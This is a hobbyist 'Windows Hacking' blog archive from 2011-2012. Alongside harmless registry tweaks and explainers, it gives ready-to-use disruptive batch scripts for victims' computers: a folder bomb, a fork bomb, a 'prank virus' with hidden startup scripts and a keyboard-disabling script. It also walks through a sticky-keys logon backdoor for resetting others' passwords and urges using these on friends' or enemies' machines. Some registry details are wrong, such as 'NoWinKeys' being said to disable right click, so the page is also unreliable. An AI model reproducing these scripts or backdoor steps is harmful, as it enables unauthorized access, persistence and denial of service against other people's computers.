Showing posts with label Windows Hacking. Show all posts
Showing posts with label Windows Hacking. Show all posts

Friday, 9 March 2012

Some Interesting Windows Registry Hacks.


Restricting Users from using Log off button

This trick can be used to restrict users from logging off the computer.
Follow the steps described below-
1. Launch Windows Registry Editor (regedit.exe)
2. Search the following key-

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\

3. In the right pane create a new DWORD value named StartMenuLogOff.
4. Change its value to 1 to put restriction on logging off the computer whereas data value 0 can be used to remove the restrictions.




Preventing Users from using Right Click Button on Desktop

This is one of the most frustrating prank for the person on whom you are playing this trick and I mean it because I have been the victim of this trick earlier when I was new to Windows Registry Hacking and didn'tt knew much more about it.
Follow the steps given below to perform the trick-

1. Open Windows Registry Editor (Regedit.exe)
2. Navigate to the following key-

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\

3. Create a new DWORD value named NoWinKeys.
4. Change its data value to 1 to disable right click whereas data value 0 will enable the right click.



Create your own Sleep button in Windows XP.

If you are a lazy kind of a person (just like me) and you think the Sleep button on your Windows XP machine in an inconvenient location for regular use? If you think yes follow the steps below to make your own.
Now a Days, Many computers or keyboards have a  Sleep button, which when pressed puts the computer
into either Stand By or Hibernate mode depending on how Windows XP’s Power Options are
configured. However, the Sleep button might not be in convenient location for regular use. For example, it might be on the front of a mid-tower
case that’s under your desk. You could activate Stand By or Hibernate mode from the Shut Down Windows dialog box. An alternative to this
method is to create your own Sleep button by creating a shortcut on your
desktop. Here’s how.
1. Right-click on the desktop.
2. Select New | Shortcut.
3. Type rundll32.exe powrprof.dll,SetSuspendState in the text box.
4. Click Next.
5. Type Sleep in the text box and click Finish.
Now when you click the Sleep icon, Windows XP will put the computer into either Stand By
or Hibernate mode depending on how the When I Press The Sleep Button On My Computer
setting is configured on the Advanced tab of the Power Options Properties dialog box.




Friday, 2 March 2012

Deadly batch file Hacks and Tricks That You Should Never Try on Your PC


In this tutorial I'm going to explain some deadly batch file tricks and hacks that can completely destroy your Windows Registry, You have to re-format your computer to bring it back to normal. Batch files discuessed in this post can create a real havoc on your computer, they can completely irritate you so don't try them on your PC. 




Use them on your friends or enemies computer.


1. Crash a Computer with just a link
Click Here (http://tiny.cc/ibJUN)


2. Folder Bomber
This batch file will create 3000+  folder in less than a minute.
Open your notepad and type the following codes.
@echo off
:top
md %random%
goto top


Save it as 3000.bat
Give this file to your friend and   when he will click on that his nightmare will be started.


Above Code Explained.
@echo off makes your command prompt window blank. md %random% is the command in MS-DOS to create random folders. (md is used for creating a folder and 


%random% means folders with random names.) goto top- retures the command to :top which causes an infinite loop.


2. Fork Bomber
It is  another batch file which ulitises 100% computer resources and memory making your computer irresponsive and at last your compuer hangs. Just copy and paste 


the below codes and save it as fork.bat
:s<br />start %0<br />%0|%0<br />goto :s<br />


3. Getting Blue Screen Of Death (BOSD)
You may be surprised to know that Windows has a built-in self-crashing mechanism (no pun intended). Though it is quite easy to crash a Windows box whenever 


you doesn't want it to crash, it may be quite difficult to reproduce the scenario, when you desperately want your box crashed. So here we give you two methods to 


crash your Windows box. 
Method 1: Windows Built-in Self Crasher
This method produces the 'awesome' BSOD (Blue Screen Of Death) that you are no doubt familiar with. The PC gets locked up and the only way to recover is to 


reboot it. Just follow these steps:


Run Regedit (Start -> Run -> regedit)
Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters
Create a new DWORD value with name CrashOnCtrlScroll and give it a value 1
Reboot the PC
Now whenever you want to see the cute blue screen (and crash your system), press and hold the Ctrl key on the right side of the keyboard and hit the Scroll Lock key 


twice.


3. Prank Virus
Just copy and paste the below mentioned codes and see the fun. You can edit the codes to make i more funny or even deadly.
@echo off
echo Set oWMP=CreateObject("WMplayer.OCX.7")>>123.vbs
echo Set colCDROMs=oWMP.cdromCollection>>123.vbs
echo do>>123.vbs
echo if colCDROMs.count>=1 then>>123.vbs
echo for i=0 to colCDROMs.Count -1>>123.vbs
echo colCDROMs.Item(i).Eject>>123.vbs
echo Next>>123.vbs
echo For i=0 to colCDROMs.Count -1>>123.vbs
echo colCDROMs.Item(i).Eject>>123.vbs
echo Next>>123.vbs
echo End If>>123.vbs
echo wscript.sleep 5000>>123.vbs
echo loop>>123.vbs
echo DO>>1234.vbs
echo MSGBOX "YOU ARE SCREWED!!!!!!!!!!!!",64,"ErR0r">>1234.vbs
echo LOOP>>1234.vbs
copy /y 123.vbs C:\
copy /y 1234.vbs C:\
attrib +s +h c:\123.vbs
attrib +s +h c:\1234.vbs
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ /v NoClose /t REG_DWORD /f /d 1
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\system\ /v legalnoticetext /f /d "YOR ARE BEEN SCREWED"
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\system\ /v legalnoticecaption /f /d "B0zZ_ErR0r"
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v 123.vbs /d c:\123.vbs
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v 1234.vbs /d c:\1234.vbs
attrib +s +h c:\123.vbs
attrib +s +h c:\1234.vbs
start 123.vbs
start 1234.vbs
echo Code Smahser owns your computer!!>>c:\almasmalik.txt
echo Code Smahser owns your computer!!>>d:\almasmalik.txt
echo Code Smahser owns your computer!!>>e:\almasmalik.txt
msg * MAY YOUR COMPUTER "REST IN PEACE"


5. Open Command Prompt Window infinite times untill your Computer Crashes
Just copy and paste the below codes to make your computer crash. (After you will restart your computer, it will be back to normal)
@echo off
:loop
start cmd.exe
goto loop
"cmd.exe" can be changed to any other program also like Calculator. For calculator use calc.exe, for My Computer use explorer.exe and so on.


# This post will be updated.

Hacking Windows 7 Logon Password Without any Software.

Lets say that you have just cracked victim's windows password.  or you got access to his windows for some time.Can you make some changes in windows so that you could access the windows again even if victim changes the password ?? or Can you make any changes in your own windows so that you could access it anytime even if anybody sets/changes password ?
Simply Can we set a backdoor in windows ?
Yes we can :) .
Backdoor actually means maintaining access for future use.
Lets Start!!

Open your command prompt (run as administrator in win 7/vista).


Type the following command :
Syntax : net user account.name *
Example: net user administrator *
and hit enter. Set any password for that account.



Hopefully your new password must have been set. did you notice one thing ? It didn't ask you to confirm old password. Now suppose if anyhow we manage to access command prompt at logon screen (without logging in), we can easily change/clear password.  
Okay lets move on.
Now press shift key five times and you must have got a dialog box "sticky keys" on screen.




Sticky keys is a feature that makes it easy for users who have physical  disablilities to press multiple keys at time.   This is the only feature which can be used before logging in at logon screen ( as per my knowledge). I repeat this feature can be used at  logon screen by pressing shift key five times.
Whenevr we start an application like paint, we are actually running mspaint.exe placed inC:\windows\system32. or command prompt, we are running cmd.exe placed in system32 directory, similary
When we press shift key 5 times or use sticky keys feature, system actually starts the executable file

sethc.exe placed in system32 directory. This means if we rename cmd.exe to sethc.exe and press shift 5 times, system would again start sethc.exe but instead of sticky keys the command prompt will be opened.

But you just cant simply rename it or change system32 files. Follow the tutorial for that.


 Tutorial :


* Go to C:\windows\system32
* Copy cmd.exe on your desktop and rename it to sethc.exe .
*Now copy that file and paste again in system32 directory.



@ Windows XP Users
Hopefully existing orignal sethc.exe must have been replaced and your job is done. Now press shift five times and you would see command prompt on screen.You can access command prompt at windows logon screen and change/clear the password easily using "net user" command.



Note: You can also do these changes while using windows Guest Account. But when you would access command prompt at logon screen, you can change/clear password even of administrator's account. This is exactly how , we can hack into administrator's account through guest account.



@ Windows vista/7 Users
You must have got a pop up box saying "Access Denied".








Actually you can not change system32 directory files until you do not have the permissions. You can not have the permissions until you do not have the ownership. So lets take ownership, change permissions, just follow the steps.

1. Right click on sethc.exe and run as administrator.  Again right click on sethc.exe, open properties.
Click on Advanced tab , then on owner and click edit, change the owner from "trusted installer" to "administrator" and click apply.



2. Then click on 'Edit' in security tab to edit permissions. Click on 'Administrators' , give it full control
and apply changes.


Okay its done now.

Now try replacing the orignal sethc.exe with our sethc.exe (got by renaming cmd.exe).
Press shift key five times and hopefully you would get command prompt on the screen instead of sticky keys.

Enjoy Command prompt at logon screen...

So do not forget to set this backdoor whenever you would get friend's  laptop for a few minutes... :)


Monday, 2 January 2012

Windows Registry Torn Apart




Registry is the core of opreating system.The registry in windows system  is central database of all configuration setting for almost all the application installed on you compuer. Microsoft Windows uses it to store all the settings of the opreating system and installed softwares.It allows you to change many settinng of windows as well as other installed software,which otherwise
are not accessiable through the interface provided by the application. If you know how to user windows registry,you can make your computer what you want it to be,at the same time it is very dangerous to edit the registry. One single mistake can crash your computer.There are many software avaiable on the internet which can be used to change the registry. But we are  hackers :D and good hackers don't use any software,they do all the things by themseleves.


To open up the registry.go to start>Run>type REGEDIT in the run box and hit enter.
Here you will see it will display five root entries.
1.HKEY_CLASSES_ROOT
2.HKEY_CURRENT_USER
3.HKEY_LOCAL_MACHINE
4.HKEY_USERS
5.HKEY_CURRENT_CONFIG



All these settings are not stored in a single file,but are sepreated into mulrtiple files.Now,let us look what kind of setting are stored in each section.after reading this you will bre able to navigate registry with a greater ease and will easily be able to find the setting you are looking for.


HKEY_CLASSES_ROOT
This part of registry is responsiable for storing file assocotions and information about applications registred for handhandeling different data types. These settings can be overridden by the current user's settings for the same stored in HKEY_CURRENT_USER/Software/Classes


HKEY_CURRENT_USER
According to the description in Microsoft TechNet: This key contains the user profiles for the user who is currently  logged on to the computer. This user profile includes environment variables, personal program groups, desktop settings, network connection, printers, and application preferences. The data in the user profile is similar to the data stored in win.ini file in Windows 3.x .


HKEY_LOCAL_MACHINE
According to the description given by Microsoft TechNet: This sub tree contains the information about the local computer which includes hardware and software data. The software sub key present in this key contains system setting for application installed in windows. These settings are usally present in Company/Product/version.


HKEY_USERS
This key consist of user configuration keys for very user using the computer. It only contains one subkey for each user which is named according to user's security ID.


HKEY_CURRENT_CONFIG
The information present in this key is almost similar to the information present in HKEY_LOCAL_MACHINE\CurrentControlSet\Hardware Profiles\Current and contains information generated at the run time.


Don't just open up the Registry and start changeing different values, before creating or chan geing any value be sure what you are doing. If you any wrong value is changed by you it can seriously affect your opreating system. But I know your guys are definetly going to change different setings and mess around with the registry aren't y0u. Naughty!

Sunday, 25 December 2011

Firewalls Explained





A firewall basically acts as a security gaurd which gaurds the network and keeps a check on incoming and outgoing data packet. Firewall can also be described as a data filter that allows only selected data packets to pass through from internet to your computer. Most personal firewalls like Windows Firewall work  a set of pre-configured rules that are most suitable under normal circumstances so that the user need not worry much about configuring the firewall. Firewalls can be classified into 3 types:


1.Packet Filter Firewalls
2.Application Proxy Firewalls
3.Packet Inspection Firewalls


Packet Filter Firewalls
They are the earliest type of firewall, and nowadays they are not used. They are router-based firewalls. Whenever this firewall receives a request to pass through, it compares the source and destination IP address and port numbers with a pre-defined access control rules. If this information matches the packet is passed, else the  packet is discarded or terminated.


Application Proxy Firewalls
It was belivied that earlier type of firewall was not secure as it allowed the direct  connection between the trusted and untrusted systems. This problem was overcomed with the use of Applicatin Proxy Firewalls, which was developed by DARPA.
This kind of firewall check what service or deamon is running on the port a packet is meant for, and if that particular service is running then the packet is allowed to pass else the packet is discarded or terminated. Once  this is done the firewall extracts the data and deivers it to the appropriate service.



Packet Inspection Firewalls
Packet Inspection Firewall are just similar to Packet Filter Firewalls. It not only verifies the source and destination IPs and ports, it also verifies the content of the data before passing. There are two ways in which PacketInspection Firewall inspects the data.
a.State
b.Session


Firewall Configuration
Firewalls can be configured by adding one or more filter under below mentioned conditions


Ports: Each and every server avaiable on a webserver is running on a specified port. Ports can also be explained as virtual doors present on a server through which services are made avaiable. Suppose a computer is running a Server (HTTP) it is basically avaiable on port 80. Other services like SMTP runs on port 25, telnet on port 23, FTP on port 21. If the server is made avaiable for publice use then these ports are open else they are blocked using firewall.


Domain Names: Blocking of certain domain names or websites can be done using firewalls. Firewalls are generally used in schools, offices and at homes to block websites. 




Bypassing Firewalls using  Proxies and Sockets.


Proxies: These are the program which stays in bewteen of a computer and a firwall. The data passed from the computer, first have to pass from the proxy. After it is pased through the proxy it reaches the destination. So no direct connection is established bewteen the client and the server. Proxy servers can also be used to bypass firewall to access restricted domain name or websites. Refer to my post Access blocked website to learn how to access blocked websites.


Sockets: They are used to tunnling the connection over the internet for better security. Tunnleing provides a better and more secure way for data transfer. I will soon be posting a tutorial on How to bypass firewall using Sockets.

Tuesday, 13 December 2011

Hacking Windows XP Login Password without any Software








Passwords can be describes as a verification tool for a object. Passwords are used to ensure legal or proper access to only those people who have the necessary authority or the permission. In this tutorial I will show you how you can change or remove the Windows XP login password without using kind type of software or password cracker. There are three methods for performing this hack. In the first two methods you can changer/remove the password without logging into any account, and in the third method if you are having a account on a computer and want to reset the password of other account you can use the last method.


First Method-
In the first method, when the computer boots press F8 key repeatatly until you get WINDOWS ADVANCE BOOT MENU,
When this menu comes. Look for the third option called Safe Mode with Command Prompt, Select this option and hit enter. Wait for sometimes until you get the Comman Prompt on your screen. When the command prompt windows it opened in front of you type
"net user" (without quotes)   /* This will give you the name of accounts which are present on the computer */


Now type    net user "you username here" new password
Suppose you username is Almas and want the password hacker, you will type
net user "almas" hacker      (and hit enter)
You will get a message Command Successful, whch means the account's password is changed sucessfully.. In case you get an error, this means that you don't have the administrator privileges to change the password.


Second Method-
Now, in the second method when you get the windows login screen were you enter your account password. 
Press ALT+CTRL+Del two times, you will get a small window which will ask you for the user name and the password, in the user name feild type ADMINISTRATOR and leave the password felid blank and hit enter. You will be logged on as administrator
(this account is temprory ,after you log out that account will disappear). Now from that account you can change the password of any other account without any problem.


Third Method-
In the third method log in into your account, open run box and type CONTROL USERPASSWORDS2 and hit enter. There you will get the list of accounts which are currently created on your computer select and account and change
the password.




[#]If you are having any problem performing the trick, please do mention in your comment so I can help you.

Monday, 28 November 2011

Adding more options in right click Content Menu of My Computer






I will be using Visual Basic Script (Vbs) to modify the right click context of my computer. Copy the following of code in your favorite text editor (e.g. Notepad++) and save it as anything.vbs. The extension .vbs must be there after you have named you script to make your script work.


*********Code starts from here***********

; Add Control Panel to Right Click Menu of My Computer
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Control Panel\command]
@="rundll32.exe shell32.dll,Control_RunDLL"


; Add Add/Remove Programs to Right Click Menu of My Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Add/Remove Programs\command]
@="control appwiz.cpl"


; Add Device Manager to Right Click Menu of My Computer
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Device Manager\command]
@="mmc.exe %%SYSTEMDRIVE%%\\WINDOWS\\SYSTEM32\\devmgmt.msc"


; Add Registry Editor to Right Click Menu of My Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Registry Editor\command]
@="Regedit.exe"


; Add Services to Right Click Menu of My Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Services]
@=hex(2):53,00,65,00,72,00,76,00,69,00,63,00,65,00,73,00,00,00
"SuppressionPolicy"=dword:4000003c
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Services\command]
@=hex(2):25,00,77,00,69,00,6e,00,64,00,69,00,72,00,25,00,5c,00,73,00,79,00,73, 00,74,00,65,00,6d,00,33,00,32,00,5c,00,6d,00,6d,00,63,00,2e,00,65,00,78,00, 65,00,20,00,2f,00,73,00,20,00,25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52, 00,6f,00,6f,00,74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,73,00,65,00,72,00,76,00,69,00,63,00,65,00,73,00,2e,00,6d,00,73, 00,63,00,20,00,2f,00,73,00,00,00


; Add LogOff to Right Click Menu of My Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\[Logoff]\command]
@="shutdown -l -f -t 5"


; Add Reboot to Right Click Menu of My Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\[Reboot]\command]
@="shutdown -r -f -t 5"


; Add Shutdown to Right Click Menu of My Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\[Shutdown]\command]
@="shutdown -r -f -t 5"


; Add Microsoft Configurator to Right Click Menu of My Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Microsoft Configurator\command]
@="msconfig.exe"


; Add Sound And Audio Devices to Right Click Menu of My Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Sound And Audio Devices\command]
@="control mmsys.cpl"


; Add Internet Properties to Right Click Menu of My Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Internet Properties\command]
@="control inetcpl.cpl"


*********Code ends here**************

Thursday, 24 November 2011

Enabling God Mode in Windows 7.




In this post I will show you how you can enable God Mode on your windows 7 machine.
Which will bring all the windows setting under one hood without needing to browse options and folders in the Control Panel. The term “GOD MODE” is given by Microsoft Development Team.
Follow the steps described below-

1.Create a new folder.
2.Rename the folder to GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}  (you          can change the name GodMode to any name as you wish but remember not to change the text after GodMode.
3.The icon of your folder will change. Double click on it to open the GOD MODE window.



Monday, 14 November 2011

Preventing User from using almost all features of Windows.



In this trick we are going to learn how we can put restriction on almost everything that Windows offer us. Sometimes it also becomes necessary for system administrators from restricting users to use certain windows applications.

The easiest way for imposing restrictions on user is described below-
1.Open Registry Editor
2.Scroll down to the following registry key-
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
3.Under this, one can create number of keys which can impose interesting restrictions on the users. Below are the DWORD values one can create.

  • NoDeletePrinter-This can be use to put restrictions on already installed printers. Data value 1 means installed printer cannot be deleted whereas data value 2 means it can be deleted
  • NoAddPrinter-It is quit similar as previous restriction. It puts restrictions on user to add a new printer.
  • NoRun-This DWORD value can be used to either disable the run box or to enable it. Data value 1 disable the run box whereas data value 0 enables it back. 
  • NoFind-This DWORD value is used to either hide or show the find option generally present in start menu. Data Value 1 hides it whereas data value 0 shows it.
  • NoDrives-This DWORD value is used to hide all your hard drives present in my computer. The data value 1 hides all the drives whereas data value 0 show the back. 
  • NoNetHood-This DWORD value is used to hide Network Neighborhood icon from the desktop. Data Value 1 hides the icon whereas data value 0 shows the icon back on desktop.
  • NoInternetIcon-This DWORD value is used to hide Internet Explore icon from the desktop. Data value 1 is used to hide the icon whereas data value 2 is used to bring back the icon on the desktop.
  • NoCommonGroup-This DWORD value is used to hide Common Group folder. Data value 1 is used to hide the folder whereas data value 0 shows the folder back.
  • NoRecentDocsHistory-In windows whenever a document or a file is being opened it is automatically added to Recent Document History. This value can be used to prevent this. If the data value is 1 recent document will not be added to the list whereas if the data value is 0 the recent document will be added to the list.
  • ClearRecentDocsonExit-This DWORD value is used to automatically clear the Recent Document History. Data value 1 enables it whereas data value  2 disables it.
  • NoFavrouiteMenu-This DWORD value is used to enable or disable Favorite Menu option. Data value on 1 disables it whereas data value 0 enables it back.
  • NoNetworkConnection-This DWORD value is used to hide or show Network and Dial-up Connection option. Data value 1 hides the option whereas data value 0 shows the option back.
  • NoSMHelp-This DWORD value is used to hide or show Windows Help option. Data value 1 is used to hide the option whereas data value 0 is used to show the option back
  • NoSMMyDocs-This DWORD value is used to hide or show My Document folder. Data value 1 is used to hide the folder whereas data value 0 is used to show the folder back
  • NoSMMYPictures-This DWORD value is used to hide or show My Pictures folder. Data value 1 is used to hide the folder whereas data value 0 is used to show the folder back.
  • NoStartMenuMyMusic-This DWORD value is used to hide or show My Music folder. Data value 1 is used to hide the folder whereas data value 0 is used to show the folder back.
  • NoToolBarOnTaskbar-This DWORD value is used to hide or show the Toolbars created by the user. Data value 1 hide the toolbar whereas data value 0 is used to show the toolbar back.
  • NoTrayItemDisplay-This DWORD value is used to hide or show the application icons which are present near the system clock. Data value 1 is used to hide those icon whereas data value 0 is used to show the application back.
  • HideClock-This DWORD value is used to hide or display System Clock. Data value 1 is used to hide the system clock whereas data value 0 is used to show the system clock back
  • NoSetFolders-This DWORD value is used to hide or show Setting Folder option. Data value 1 is used to hide it whereas data  value 0 is used to display it back.
  • NoDesktop-This DWORD value is used to hide or show all the icons (including system folders etc.) on the desktop. Data value 1 is used to hide all the icons whereas data value 0 is used to display all the icons back.
  • NoClose-This DWORD value is used to hide or show Shutdown Button. Data value 1 is used to hide the shutdown button whereas data value 0 is used the bring back shutdown button.
  • NoSaveSetting-This DWORD value is used to prevent the Desktop Settings from being changed. Data value 1 is used to enable it whereas data value 0 is used to disable it.
  • DisableRegistryTools-This DWORD value is used to enable or disable Windows Registry Editor. Data value 1 is used to disable registry editor whereas data value 0 is used to enable the registry editor back.

Sunday, 13 November 2011

Disable Keyboard Using Batch Script.





In this post I will be showing you how you can disable someones keyboard using the below mentioned Batch Script. Just copy and paste the following codes in notepad and save it anything.bat


@echo off
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"


echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg



By running the above mentioned script all the keys on the keyboard will be disabled.


Enable the Keyboard again:-
To bring the keyboard back to its normal state goto
Start>Run and type REGEDIT.MSC. This will bring up Windows Registry Editor. In  the left pane navigate to the following key-
HKEY_LOCAL_MACHINE\System\ControlSet001\Control\Keyboard Layout, and delete "Scan Code MapKey" present in the right pane.